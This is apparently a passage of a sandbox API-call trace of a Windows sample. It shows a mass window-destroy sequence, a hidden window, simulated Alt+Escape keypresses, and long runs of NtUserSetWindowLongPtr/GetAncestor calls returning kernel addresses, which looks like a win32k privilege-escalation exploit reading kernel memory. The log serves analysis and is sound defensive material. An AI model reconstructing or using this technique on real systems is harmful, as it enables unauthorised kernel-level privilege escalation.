	[0072.767] DestroyWindow (hWnd=0x20222) returned 1
	[0072.768] DestroyWindow (hWnd=0x2021c) returned 1
	[0072.769] DestroyWindow (hWnd=0x2021e) returned 1
	[0072.770] DestroyWindow (hWnd=0x20218) returned 1
	[0072.771] DestroyWindow (hWnd=0x2021a) returned 1
	[0072.772] DestroyWindow (hWnd=0x20214) returned 1
	[0072.773] DestroyWindow (hWnd=0x20216) returned 1
	[0072.774] DestroyWindow (hWnd=0x20210) returned 1
	[0072.775] DestroyWindow (hWnd=0x20212) returned 1
	[0072.776] DestroyWindow (hWnd=0x20208) returned 1
	[0072.777] DestroyWindow (hWnd=0x20206) returned 1
	[0072.778] DestroyWindow (hWnd=0x20236) returned 1
	[0072.779] DestroyWindow (hWnd=0x30228) returned 1
	[0072.780] DestroyWindow (hWnd=0x2022a) returned 1
	[0072.781] DestroyWindow (hWnd=0x2022c) returned 1
	[0072.782] DestroyWindow (hWnd=0x2022e) returned 1
	[0072.783] DestroyWindow (hWnd=0x2020c) returned 1
	[0072.784] DestroyWindow (hWnd=0x2020e) returned 1
	[0072.785] DestroyWindow (hWnd=0x10238) returned 1
	[0072.786] DestroyWindow (hWnd=0x1023a) returned 1
	[0072.787] DestroyWindow (hWnd=0x1023c) returned 1
	[0072.789] DestroyWindow (hWnd=0x1023e) returned 1
	[0072.790] DestroyWindow (hWnd=0x10240) returned 1
	[0072.791] DestroyWindow (hWnd=0x10242) returned 1
	[0072.792] DestroyWindow (hWnd=0x10244) returned 1
	[0072.793] DestroyWindow (hWnd=0x10246) returned 1
	[0072.794] DestroyWindow (hWnd=0x10248) returned 1
	[0072.795] DestroyWindow (hWnd=0x1024a) returned 1
	[0072.796] DestroyWindow (hWnd=0x1024c) returned 1
	[0072.797] DestroyWindow (hWnd=0x1024e) returned 1
	[0072.798] DestroyWindow (hWnd=0x10250) returned 1
	[0072.799] DestroyWindow (hWnd=0x10252) returned 1
	[0072.800] DestroyWindow (hWnd=0x10254) returned 1
	[0072.801] DestroyWindow (hWnd=0x10256) returned 1
	[0072.802] DestroyWindow (hWnd=0x10258) returned 1
	[0072.803] DestroyWindow (hWnd=0x1025a) returned 1
	[0072.804] DestroyWindow (hWnd=0x1025c) returned 1
	[0072.805] DestroyWindow (hWnd=0x1025e) returned 1
	[0072.806] DestroyWindow (hWnd=0x10260) returned 1
	[0072.807] DestroyWindow (hWnd=0x10262) returned 1
	[0072.808] DestroyWindow (hWnd=0x10264) returned 1
	[0072.809] DestroyWindow (hWnd=0x10266) returned 1
	[0072.811] DestroyWindow (hWnd=0x10268) returned 1
	[0072.812] DestroyWindow (hWnd=0x1026a) returned 1
	[0072.814] DestroyWindow (hWnd=0x1026c) returned 1
	[0072.815] DestroyWindow (hWnd=0x1026e) returned 1
	[0072.816] DestroyWindow (hWnd=0x10270) returned 1
	[0072.817] DestroyWindow (hWnd=0x10272) returned 1
	[0072.818] DestroyWindow (hWnd=0x10274) returned 1
	[0072.819] DestroyWindow (hWnd=0x10276) returned 1
	[0072.820] DestroyWindow (hWnd=0x10278) returned 1
	[0072.821] DestroyWindow (hWnd=0x1027a) returned 1
	[0072.822] DestroyWindow (hWnd=0x1027c) returned 1
	[0072.823] DestroyWindow (hWnd=0x1027e) returned 1
	[0072.824] DestroyWindow (hWnd=0x10280) returned 1
	[0072.825] DestroyWindow (hWnd=0x10282) returned 1
	[0072.826] DestroyWindow (hWnd=0x10284) returned 1
	[0072.828] DestroyWindow (hWnd=0x10286) returned 1
	[0072.829] DestroyWindow (hWnd=0x10288) returned 1
	[0072.830] DestroyWindow (hWnd=0x1028a) returned 1
	[0072.831] DestroyWindow (hWnd=0x1028c) returned 1
	[0072.832] DestroyWindow (hWnd=0x1028e) returned 1
	[0072.833] DestroyWindow (hWnd=0x10290) returned 1
	[0072.834] DestroyWindow (hWnd=0x10292) returned 1
	[0072.835] DestroyWindow (hWnd=0x10294) returned 1
	[0072.836] DestroyWindow (hWnd=0x10296) returned 1
	[0072.838] DestroyWindow (hWnd=0x10298) returned 1
	[0072.839] DestroyWindow (hWnd=0x1029a) returned 1
	[0072.840] DestroyWindow (hWnd=0x1029c) returned 1
	[0072.841] DestroyWindow (hWnd=0x1029e) returned 1
	[0072.841] DestroyWindow (hWnd=0x102a0) returned 1
	[0072.842] DestroyWindow (hWnd=0x102a2) returned 1
	[0072.843] DestroyWindow (hWnd=0x102a4) returned 1
	[0072.844] DestroyWindow (hWnd=0x102a6) returned 1
	[0072.845] DestroyWindow (hWnd=0x102a8) returned 1
	[0072.845] DestroyWindow (hWnd=0x102aa) returned 1
	[0072.846] DestroyWindow (hWnd=0x102ac) returned 1
	[0072.847] DestroyWindow (hWnd=0x102ae) returned 1
	[0072.847] DestroyWindow (hWnd=0x102b0) returned 1
	[0072.848] DestroyWindow (hWnd=0x102b2) returned 1
	[0072.849] DestroyWindow (hWnd=0x102b4) returned 1
	[0072.850] DestroyWindow (hWnd=0x102b6) returned 1
	[0072.850] DestroyWindow (hWnd=0x102b8) returned 1
	[0072.851] DestroyWindow (hWnd=0x102ba) returned 1
	[0072.852] DestroyWindow (hWnd=0x102bc) returned 1
	[0072.852] DestroyWindow (hWnd=0x102be) returned 1
	[0072.853] DestroyWindow (hWnd=0x102c0) returned 1
	[0072.854] DestroyWindow (hWnd=0x102c2) returned 1
	[0072.855] DestroyWindow (hWnd=0x102c4) returned 1
	[0072.855] DestroyWindow (hWnd=0x102c6) returned 1
	[0072.856] DestroyWindow (hWnd=0x102c8) returned 1
	[0072.857] DestroyWindow (hWnd=0x102ca) returned 1
	[0072.858] DestroyWindow (hWnd=0x102cc) returned 1
	[0072.858] DestroyWindow (hWnd=0x102ce) returned 1
	[0072.859] DestroyWindow (hWnd=0x102d0) returned 1
	[0072.860] DestroyWindow (hWnd=0x102d2) returned 1
	[0072.861] DestroyWindow (hWnd=0x102d4) returned 1
	[0072.861] DestroyWindow (hWnd=0x102d6) returned 1
	[0072.862] DestroyWindow (hWnd=0x102d8) returned 1
	[0072.863] DestroyWindow (hWnd=0x102da) returned 1
	[0072.863] DestroyWindow (hWnd=0x102dc) returned 1
	[0072.864] DestroyWindow (hWnd=0x102de) returned 1
	[0072.865] DestroyWindow (hWnd=0x102e0) returned 1
	[0072.865] DestroyWindow (hWnd=0x102e2) returned 1
	[0072.866] DestroyWindow (hWnd=0x102e4) returned 1
	[0072.867] DestroyWindow (hWnd=0x102e6) returned 1
	[0072.868] DestroyWindow (hWnd=0x102e8) returned 1
	[0072.868] DestroyWindow (hWnd=0x102ea) returned 1
	[0072.869] DestroyWindow (hWnd=0x102ec) returned 1
	[0072.870] DestroyWindow (hWnd=0x102ee) returned 1
	[0072.871] DestroyWindow (hWnd=0x102f0) returned 1
	[0072.871] DestroyWindow (hWnd=0x102f2) returned 1
	[0072.872] DestroyWindow (hWnd=0x102f4) returned 1
	[0072.873] DestroyWindow (hWnd=0x102f6) returned 1
	[0072.874] DestroyWindow (hWnd=0x102f8) returned 1
	[0072.874] DestroyWindow (hWnd=0x102fa) returned 1
	[0072.875] DestroyWindow (hWnd=0x102fc) returned 1
	[0072.876] DestroyWindow (hWnd=0x102fe) returned 1
	[0072.877] DestroyWindow (hWnd=0x10300) returned 1
	[0072.878] DestroyWindow (hWnd=0x10302) returned 1
	[0072.879] DestroyWindow (hWnd=0x10304) returned 1
	[0072.879] DestroyWindow (hWnd=0x10306) returned 1
	[0072.880] DestroyWindow (hWnd=0x10308) returned 1
	[0072.881] DestroyWindow (hWnd=0x1030a) returned 1
	[0072.882] DestroyWindow (hWnd=0x1030c) returned 1
	[0072.883] DestroyWindow (hWnd=0x1030e) returned 1
	[0072.883] DestroyWindow (hWnd=0x10310) returned 1
	[0072.884] DestroyWindow (hWnd=0x10312) returned 1
	[0072.885] DestroyWindow (hWnd=0x10314) returned 1
	[0072.885] DestroyWindow (hWnd=0x10316) returned 1
	[0072.886] DestroyWindow (hWnd=0x10318) returned 1
	[0072.887] DestroyWindow (hWnd=0x1031a) returned 1
	[0072.888] DestroyWindow (hWnd=0x1031c) returned 1
	[0072.888] DestroyWindow (hWnd=0x1031e) returned 1
	[0072.889] DestroyWindow (hWnd=0x10320) returned 1
	[0072.890] DestroyWindow (hWnd=0x10322) returned 1
	[0072.891] DestroyWindow (hWnd=0x10324) returned 1
	[0072.891] DestroyWindow (hWnd=0x10326) returned 1
	[0072.892] DestroyWindow (hWnd=0x10328) returned 1
	[0072.893] DestroyWindow (hWnd=0x1032a) returned 1
	[0072.894] DestroyWindow (hWnd=0x1032c) returned 1
	[0072.894] DestroyWindow (hWnd=0x1032e) returned 1
	[0072.895] DestroyWindow (hWnd=0x10330) returned 1
	[0072.896] DestroyWindow (hWnd=0x10332) returned 1
	[0072.896] DestroyWindow (hWnd=0x10334) returned 1
	[0072.897] DestroyWindow (hWnd=0x10336) returned 1
	[0072.898] DestroyWindow (hWnd=0x10338) returned 1
	[0072.899] DestroyWindow (hWnd=0x1033a) returned 1
	[0072.899] DestroyWindow (hWnd=0x1033c) returned 1
	[0072.900] DestroyWindow (hWnd=0x1033e) returned 1
	[0072.901] DestroyWindow (hWnd=0x10340) returned 1
	[0072.901] DestroyWindow (hWnd=0x10342) returned 1
	[0072.902] DestroyWindow (hWnd=0x10344) returned 1
	[0072.903] DestroyWindow (hWnd=0x10346) returned 1
	[0072.904] DestroyWindow (hWnd=0x10348) returned 1
	[0072.905] DestroyWindow (hWnd=0x1034a) returned 1
	[0072.906] DestroyWindow (hWnd=0x1034c) returned 1
	[0072.906] DestroyWindow (hWnd=0x1034e) returned 1
	[0072.907] DestroyWindow (hWnd=0x10350) returned 1
	[0072.908] DestroyWindow (hWnd=0x10352) returned 1
	[0072.909] DestroyWindow (hWnd=0x10354) returned 1
	[0072.909] DestroyWindow (hWnd=0x10356) returned 1
	[0072.910] DestroyWindow (hWnd=0x10358) returned 1
	[0072.911] DestroyWindow (hWnd=0x1035a) returned 1
	[0072.912] DestroyWindow (hWnd=0x1035c) returned 1
	[0072.912] DestroyWindow (hWnd=0x1035e) returned 1
	[0072.913] DestroyWindow (hWnd=0x10360) returned 1
	[0072.914] DestroyWindow (hWnd=0x10362) returned 1
	[0072.915] DestroyWindow (hWnd=0x10364) returned 1
	[0072.916] DestroyWindow (hWnd=0x10366) returned 1
	[0072.917] DestroyWindow (hWnd=0x10368) returned 1
	[0072.918] DestroyWindow (hWnd=0x1036a) returned 1
	[0072.919] DestroyWindow (hWnd=0x1036c) returned 1
	[0072.919] DestroyWindow (hWnd=0x1036e) returned 1
	[0072.920] DestroyWindow (hWnd=0x10370) returned 1
	[0072.921] DestroyWindow (hWnd=0x10372) returned 1
	[0072.922] DestroyWindow (hWnd=0x10374) returned 1
	[0072.923] DestroyWindow (hWnd=0x10376) returned 1
	[0072.923] DestroyWindow (hWnd=0x10378) returned 1
	[0072.924] DestroyWindow (hWnd=0x1037a) returned 1
	[0072.925] DestroyWindow (hWnd=0x1037c) returned 1
	[0072.926] DestroyWindow (hWnd=0x1037e) returned 1
	[0072.926] DestroyWindow (hWnd=0x10380) returned 1
	[0072.927] DestroyWindow (hWnd=0x10382) returned 1
	[0072.928] DestroyWindow (hWnd=0x10384) returned 1
	[0072.929] DestroyWindow (hWnd=0x10386) returned 1
	[0072.929] DestroyWindow (hWnd=0x10388) returned 1
	[0072.930] DestroyWindow (hWnd=0x1038a) returned 1
	[0072.931] DestroyWindow (hWnd=0x1038c) returned 1
	[0072.931] DestroyWindow (hWnd=0x1038e) returned 1
	[0072.932] DestroyWindow (hWnd=0x10390) returned 1
	[0072.933] DestroyWindow (hWnd=0x10392) returned 1
	[0072.934] DestroyWindow (hWnd=0x10394) returned 1
	[0072.934] DestroyWindow (hWnd=0x10396) returned 1
	[0072.935] DestroyWindow (hWnd=0x10398) returned 1
	[0072.936] DestroyWindow (hWnd=0x1039a) returned 1
	[0072.937] DestroyWindow (hWnd=0x1039c) returned 1
	[0072.938] DestroyWindow (hWnd=0x1039e) returned 1
	[0072.938] DestroyWindow (hWnd=0x103a0) returned 1
	[0072.939] DestroyWindow (hWnd=0x103a2) returned 1
	[0072.940] DestroyWindow (hWnd=0x103a4) returned 1
	[0072.941] DestroyWindow (hWnd=0x103a6) returned 1
	[0072.941] DestroyWindow (hWnd=0x103a8) returned 1
	[0072.942] DestroyWindow (hWnd=0x103aa) returned 1
	[0072.943] DestroyWindow (hWnd=0x103ac) returned 1
	[0072.943] DestroyWindow (hWnd=0x103ae) returned 1
	[0072.944] DestroyWindow (hWnd=0x103b0) returned 1
	[0072.945] DestroyWindow (hWnd=0x103b2) returned 1
	[0072.946] DestroyWindow (hWnd=0x103b4) returned 1
	[0072.946] DestroyWindow (hWnd=0x103b6) returned 1
	[0072.947] DestroyWindow (hWnd=0x103b8) returned 1
	[0072.948] DestroyWindow (hWnd=0x103ba) returned 1
	[0072.949] DestroyWindow (hWnd=0x103bc) returned 1
	[0072.949] DestroyWindow (hWnd=0x103be) returned 1
	[0072.950] DestroyWindow (hWnd=0x103c0) returned 1
	[0072.951] DestroyWindow (hWnd=0x103c2) returned 1
	[0072.952] DestroyWindow (hWnd=0x103c4) returned 1
	[0072.952] DestroyWindow (hWnd=0x103c6) returned 1
	[0072.953] DestroyWindow (hWnd=0x103c8) returned 1
	[0072.954] DestroyWindow (hWnd=0x103ca) returned 1
	[0072.955] DestroyWindow (hWnd=0x103cc) returned 1
	[0072.955] DestroyWindow (hWnd=0x103ce) returned 1
	[0072.957] DestroyWindow (hWnd=0x103d0) returned 1
	[0072.958] DestroyWindow (hWnd=0x103d2) returned 1
	[0072.958] DestroyWindow (hWnd=0x103d4) returned 1
	[0072.959] DestroyWindow (hWnd=0x103d6) returned 1
	[0072.960] DestroyWindow (hWnd=0x103d8) returned 1
	[0072.961] DestroyWindow (hWnd=0x103da) returned 1
	[0072.961] DestroyWindow (hWnd=0x103dc) returned 1
	[0072.962] DestroyWindow (hWnd=0x103de) returned 1
	[0072.963] DestroyWindow (hWnd=0x103e0) returned 1
	[0072.964] DestroyWindow (hWnd=0x103e2) returned 1
	[0072.964] DestroyWindow (hWnd=0x103e4) returned 1
	[0072.965] DestroyWindow (hWnd=0x103e6) returned 1
	[0072.966] DestroyWindow (hWnd=0x103e8) returned 1
	[0072.971] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40c970, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x180
	[0072.971] Sleep (dwMilliseconds=0x32) 
	[0073.234] Sleep (dwMilliseconds=0x32) 
	[0073.297] Sleep (dwMilliseconds=0x32) 
	[0073.358] CreateWindowExW (dwExStyle=0x80000, lpClassName="MyMainWnd", lpWindowName=0x0, dwStyle=0x10000000, X=1441, Y=901, nWidth=1, nHeight=1, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x203e6
	[0073.369] GetWindowLongW (hWnd=0x203e6, nIndex=-16) returned 348127232
	[0073.369] SetWindowLongW (hWnd=0x203e6, nIndex=-16, dwNewLong=1421869056) returned 348127232
	[0073.370] NtUserSetWindowLongPtr () returned 0x0
	[0073.370] keybd_event (bVk=0x12, bScan=0x0, dwFlags=0x0, dwExtraInfo=0x0) 
	[0073.371] keybd_event (bVk=0x1b, bScan=0x0, dwFlags=0x0, dwExtraInfo=0x0) 
	[0073.375] keybd_event (bVk=0x1b, bScan=0x0, dwFlags=0x2, dwExtraInfo=0x0) 
	[0073.375] keybd_event (bVk=0x12, bScan=0x0, dwFlags=0x2, dwExtraInfo=0x0) 
	[0073.375] Sleep (dwMilliseconds=0x64) 
	[0073.485] DestroyWindow (hWnd=0x203f2) returned 0
	[0073.485] DestroyWindow (hWnd=0x203e6) returned 1
	[0073.488] TerminateThread (hThread=0x180, dwExitCode=0xffffffff) returned 1
	[0073.491] WaitForSingleObject (hHandle=0x180, dwMilliseconds=0xffffffff) returned 0x0
	[0073.491] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.491] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xfffff901406a3720
	[0073.491] NtUserSetWindowLongPtr () returned 0xfffff9014232b7a8
	[0073.491] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x407793b0fffff901
	[0073.491] NtUserSetWindowLongPtr () returned 0xfffff9014232b7ac
	[0073.491] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.491] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe00130dd8080
	[0073.491] NtUserSetWindowLongPtr () returned 0xfffff901406a3720
	[0073.491] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x1ffffe001
	[0073.491] NtUserSetWindowLongPtr () returned 0xfffff901406a3724
	[0073.491] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.491] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe00130dd8080
	[0073.491] NtUserSetWindowLongPtr () returned 0xfffff901406a3720
	[0073.491] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x1ffffe001
	[0073.492] NtUserSetWindowLongPtr () returned 0xfffff901406a3724
	[0073.492] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.492] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe00130d75830
	[0073.492] NtUserSetWindowLongPtr () returned 0xffffe00130dd8370
	[0073.492] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x310696b0ffffe001
	[0073.492] NtUserSetWindowLongPtr () returned 0xffffe00130dd8374
	[0073.492] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.492] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xf14
	[0073.492] NtUserSetWindowLongPtr () returned 0xffffe00130d75828
	[0073.492] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x3931963000000000
	[0073.492] NtUserSetWindowLongPtr () returned 0xffffe00130d7582c
	[0073.492] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.492] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe00139319630
	[0073.492] NtUserSetWindowLongPtr () returned 0xffffe00130d75830
	[0073.492] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x30dd8370ffffe001
	[0073.492] NtUserSetWindowLongPtr () returned 0xffffe00130d75834
	[0073.492] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.492] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xf68
	[0073.492] NtUserSetWindowLongPtr () returned 0xffffe00139319628
	[0073.492] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xc1f242e000000000
	[0073.492] NtUserSetWindowLongPtr () returned 0xffffe0013931962c
	[0073.492] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.493] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xfffff800c1f242e0
	[0073.493] NtUserSetWindowLongPtr () returned 0xffffe00139319630
	[0073.493] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x30d75830fffff800
	[0073.493] NtUserSetWindowLongPtr () returned 0xffffe00139319634
	[0073.493] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.493] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x0
	[0073.493] NtUserSetWindowLongPtr () returned 0xfffff800c1f242d8
	[0073.493] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x2f463b3000000000
	[0073.493] NtUserSetWindowLongPtr () returned 0xfffff800c1f242dc
	[0073.493] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.493] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe0012f463b30
	[0073.493] NtUserSetWindowLongPtr () returned 0xfffff800c1f242e0
	[0073.493] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x39319630ffffe001
	[0073.493] NtUserSetWindowLongPtr () returned 0xfffff800c1f242e4
	[0073.493] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.493] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x4
	[0073.493] NtUserSetWindowLongPtr () returned 0xffffe0012f463b28
	[0073.493] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x313fa33000000000
	[0073.493] NtUserSetWindowLongPtr () returned 0xffffe0012f463b2c
	[0073.493] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.493] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe001313fa330
	[0073.493] NtUserSetWindowLongPtr () returned 0xffffe0012f463b30
	[0073.494] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xc1f242e0ffffe001
	[0073.494] NtUserSetWindowLongPtr () returned 0xffffe0012f463b34
	[0073.494] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.494] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x108
	[0073.494] NtUserSetWindowLongPtr () returned 0xffffe001313fa328
	[0073.494] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x30bbc37000000000
	[0073.494] NtUserSetWindowLongPtr () returned 0xffffe001313fa32c
	[0073.494] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.494] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe00130bbc370
	[0073.494] NtUserSetWindowLongPtr () returned 0xffffe001313fa330
	[0073.494] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x2f463b30ffffe001
	[0073.494] NtUserSetWindowLongPtr () returned 0xffffe001313fa334
	[0073.494] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.494] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x150
	[0073.494] NtUserSetWindowLongPtr () returned 0xffffe00130bbc368
	[0073.494] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x2f4cb37000000000
	[0073.494] NtUserSetWindowLongPtr () returned 0xffffe00130bbc36c
	[0073.494] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.494] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe0012f4cb370
	[0073.494] NtUserSetWindowLongPtr () returned 0xffffe00130bbc370
	[0073.494] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x313fa330ffffe001
	[0073.494] NtUserSetWindowLongPtr () returned 0xffffe00130bbc374
	[0073.494] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.495] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x194
	[0073.495] NtUserSetWindowLongPtr () returned 0xffffe0012f4cb368
	[0073.495] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x2f4ca37000000000
	[0073.495] NtUserSetWindowLongPtr () returned 0xffffe0012f4cb36c
	[0073.495] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.495] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe0012f4ca370
	[0073.495] NtUserSetWindowLongPtr () returned 0xffffe0012f4cb370
	[0073.495] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x30bbc370ffffe001
	[0073.495] NtUserSetWindowLongPtr () returned 0xffffe0012f4cb374
	[0073.495] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.495] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x19c
	[0073.495] NtUserSetWindowLongPtr () returned 0xffffe0012f4ca368
	[0073.495] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x2f49537000000000
	[0073.495] NtUserSetWindowLongPtr () returned 0xffffe0012f4ca36c
	[0073.495] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.495] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe0012f495370
	[0073.495] NtUserSetWindowLongPtr () returned 0xffffe0012f4ca370
	[0073.495] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x2f4cb370ffffe001
	[0073.495] NtUserSetWindowLongPtr () returned 0xffffe0012f4ca374
	[0073.495] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.495] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x1cc
	[0073.495] NtUserSetWindowLongPtr () returned 0xffffe0012f495368
	[0073.496] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x2f4ae73000000000
	[0073.496] NtUserSetWindowLongPtr () returned 0xffffe0012f49536c
	[0073.496] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.496] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe0012f4ae730
	[0073.496] NtUserSetWindowLongPtr () returned 0xffffe0012f495370
	[0073.496] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x2f4ca370ffffe001
	[0073.496] NtUserSetWindowLongPtr () returned 0xffffe0012f495374
	[0073.496] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.496] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x1e4
	[0073.496] NtUserSetWindowLongPtr () returned 0xffffe0012f4ae728
	[0073.496] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x2f4a037000000000
	[0073.496] NtUserSetWindowLongPtr () returned 0xffffe0012f4ae72c
	[0073.496] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.496] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe0012f4a0370
	[0073.496] NtUserSetWindowLongPtr () returned 0xffffe0012f4ae730
	[0073.496] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x2f495370ffffe001
	[0073.496] NtUserSetWindowLongPtr () returned 0xffffe0012f4ae734
	[0073.496] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.496] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x1ec
	[0073.496] NtUserSetWindowLongPtr () returned 0xffffe0012f4a0368
	[0073.496] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x30cc0b3000000000
	[0073.496] NtUserSetWindowLongPtr () returned 0xffffe0012f4a036c
	[0073.497] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.497] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe00130cc0b30
	[0073.497] NtUserSetWindowLongPtr () returned 0xffffe0012f4a0370
	[0073.497] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x2f4ae730ffffe001
	[0073.497] NtUserSetWindowLongPtr () returned 0xffffe0012f4a0374
	[0073.497] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.497] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x248
	[0073.497] NtUserSetWindowLongPtr () returned 0xffffe00130cc0b28
	[0073.497] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x30d6bb3000000000
	[0073.497] NtUserSetWindowLongPtr () returned 0xffffe00130cc0b2c
	[0073.497] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.497] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe00130d6bb30
	[0073.497] NtUserSetWindowLongPtr () returned 0xffffe00130cc0b30
	[0073.497] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x2f4a0370ffffe001
	[0073.497] NtUserSetWindowLongPtr () returned 0xffffe00130cc0b34
	[0073.497] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.497] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x268
	[0073.497] NtUserSetWindowLongPtr () returned 0xffffe00130d6bb28
	[0073.497] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x30db7b3000000000
	[0073.497] NtUserSetWindowLongPtr () returned 0xffffe00130d6bb2c
	[0073.497] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.497] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe00130db7b30
	[0073.497] NtUserSetWindowLongPtr () returned 0xffffe00130d6bb30
	[0073.498] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x30cc0b30ffffe001
	[0073.498] NtUserSetWindowLongPtr () returned 0xffffe00130d6bb34
	[0073.498] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.498] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x2c4
	[0073.498] NtUserSetWindowLongPtr () returned 0xffffe00130db7b28
	[0073.498] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x30df5b3000000000
	[0073.498] NtUserSetWindowLongPtr () returned 0xffffe00130db7b2c
	[0073.498] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.498] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe00130df5b30
	[0073.501] NtUserSetWindowLongPtr () returned 0xffffe00130db7b30
	[0073.501] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x30d6bb30ffffe001
	[0073.501] NtUserSetWindowLongPtr () returned 0xffffe00130db7b34
	[0073.501] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.501] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x324
	[0073.501] NtUserSetWindowLongPtr () returned 0xffffe00130df5b28
	[0073.501] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x30e0eb3000000000
	[0073.501] NtUserSetWindowLongPtr () returned 0xffffe00130df5b2c
	[0073.501] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.501] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe00130e0eb30
